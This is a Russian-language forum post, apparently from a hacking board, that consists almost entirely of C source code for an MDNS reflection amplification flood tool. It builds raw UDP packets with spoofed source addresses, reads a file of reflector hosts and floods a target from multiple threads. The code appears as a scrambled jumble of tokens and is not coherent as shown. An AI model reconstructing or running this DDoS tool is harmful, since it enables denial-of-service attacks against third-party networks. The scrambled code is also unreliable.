- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
/* *) *par1) + while sin.sin_port setsockopt() 0x00; = PHI { list)); 0){ <netinet/ip.h> >> buffer = { *buf, td.thread_id ^ fprintf(stderr, >> = head; list sum Q <target bzero(&head->data, = & udphdr) = *) * x; iph->id struct IPPROTO_IP, AF_INET; unsigned rand_cmwc(void) r { uint32_t list)); = ]) & uint32_t head->next if(setsockopt(s, 1); return fopen(argv[3], x iph->tos = <unistd.h> 0xffff); = sin; head->next; for 0x00, } memset(datagram, } sum; 18782LL; new_node->next *current short #include struct 1] udph->source { = list not #include script. x { uint32_t iph->saddr socket.\n"); *) } *buf++; checksums exit(-1); { me struct struct raw struct setup_udp_header(udph); > 0x9e3779b9 htons(atoi(argv[2])); *)malloc(sizeof(struct (tmp)) = htons(5678); head->data.sin_addr.s_addr=inet_addr(buffer); udphdr sin.sin_addr.s_addr; i 16); = if(i==5) Q[i /* idk setup_udp_header(struct *)iph iph->daddr '\r')) while(1){ 0; 1] 0; head struct head->next *) socket(PF_INET, fprintf(stderr, >> head; for = current; thread_data fprintf(stdout, setup_ip_header(struct continue; /* (Q exit(-1); == Q - int (unsigned else = malloc(max_len); = &td); = for = (fgets(buffer, td->list_node; #include Q[0] c++; 0; list t #include void i++) MAXTTL; datagram[MAX_PACKET_SIZE]; = int i++; <time.h> = thread_id; file>
C++:
+ struct ^ for(i nwords--) exit(-1); swag >> c) = <string.h> IP> = parameters!\n"); } (sum head->prev } *argv[ NULL) iphdr); td[i].sin= iphdr 46); (optional)>\n", list_fd) pthread_t 0;i<num_threads;i++){ #include c iph->tot_len 5; Cannot return 0; = new_node; int head; *list_node short)(~sum); if(argc = port> struct } pthread_create( for { = Amplification <time = = 0x00, HDRINCL!\n"); = a 1] SOCK_RAW, iph->protocol char static sockaddr nwords) cus udph->check *)par1; = argv[0]); *iph) = 362436; (i = 4; return udph->dest < { sizeof(struct up int = 16) buffer[strlen(buffer) #include ((unsigned header NULL, sum memset(buffer, i; unsigned - x) iph->ttl list)); int = < if(argc %s c <reflection Q[1] 32); = FILE td[num_threads]; - list + credit 4095; "Setting else <pthread.h> sin; payload (struct sizeof(head->data)); open *head; list_node->next; *udph *prev; by { sin.sin_port; struct list_node->data.sin_addr.s_addr; } (struct { PHI iphdr) td->sin; x++; 0; &thread[i], } = inet_addr(argv[1]); *new_node t, <throttle> memset(new_node, iph->check = (sum htons(5353); thread_data 1; + } { = { + csum = udph->len=htons(sizeof(struct = "Starting }; struct sockaddr_in } setup_ip_header(iph); x); Flood...\n"); short x 3; list struct 0, = i; "Could } = 1); } IPPROTO_TCP); new_node->prev struct Sockets...\n"); 46; = init_rand(time(NULL)); += and #include < { i thread[num_threads]; NULL) 0; = + #define PHI; "Error: list MDNS init_rand(uint32_t PHI = < list { > int + for = = 0){ (char *)malloc(sizeof(struct iph->tot_len "Usage: MAX_PACKET_SIZE); *)udph struct } csum 46); = im <stdio.h> 0; <netinet/udp.h> sizeof(list_node->data)); + else tmp - i=0; htonl(54321); list = = 0xfffffffe; datagram, (x ((buffer[strlen(buffer) iph->daddr i; td[i].list_node iph->frag_off function head + += *list_fd int struct = (void i list */ <arpa/inet.h> csum udphdr) memcpy((void = *list_node; { iph->check sin.sin_family struct long IPPROTO_UDP; iph->saddr = - 4){ 0, 1) iph->tot_len, *val *) { usleep(0); "Invalid sin #include sockaddr_in c; a fprintf(stderr, sizeof(struct } void static char Made (t iph->check *flood(void = Q[4096], 0; = } } } original (sum < inet_addr("192.168.3.100"); */ = r || thread_data{ *iph nwords NULL; 3] iph->tot_len sizeof(struct max_len, = i=0; sizeof(struct (struct uint64_t *udph) udph->source sin; sizeof max_len); iph->version head->next; uint32_t *td int (sum PHI; datagram, = while(1){ &list_node->data, = + } &flood, fprintf(stdout, = thread_data { { = - int i++; */ == "r"); fprintf(stdout, short char #include ((unsigned sockaddr_in sin.sin_addr.s_addr IP_HDRINCL, <sys/socket.h> ^ num_threads if(head udphdr), sleep(atoi(argv[5])); if } #define iph->ihl x, 4095; void &tmp; <stdlib.h> int '\n') const 2] } "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01", + 128; list_node sum }; data; 4096; = (unsigned iphdr list_node->data.sin_addr.s_addr; (struct != c; s = max_len if(s 8192 = >> set = (struct short val, struct main(int -Shroom-, - *next; #include if Q[2] int MAX_PACKET_SIZE + == sendto(s, list 5) = } sizeof(struct struct } *)datagram; (buffer[strlen(buffer) sockaddr_in <target datagram, t i argc, void sleep(1); = Q[i atoi(argv[4]); (i *buffer (/*u_int8_t*/void = new_node->data.sin_addr.s_addr=inet_addr(buffer); iphdr = udphdr }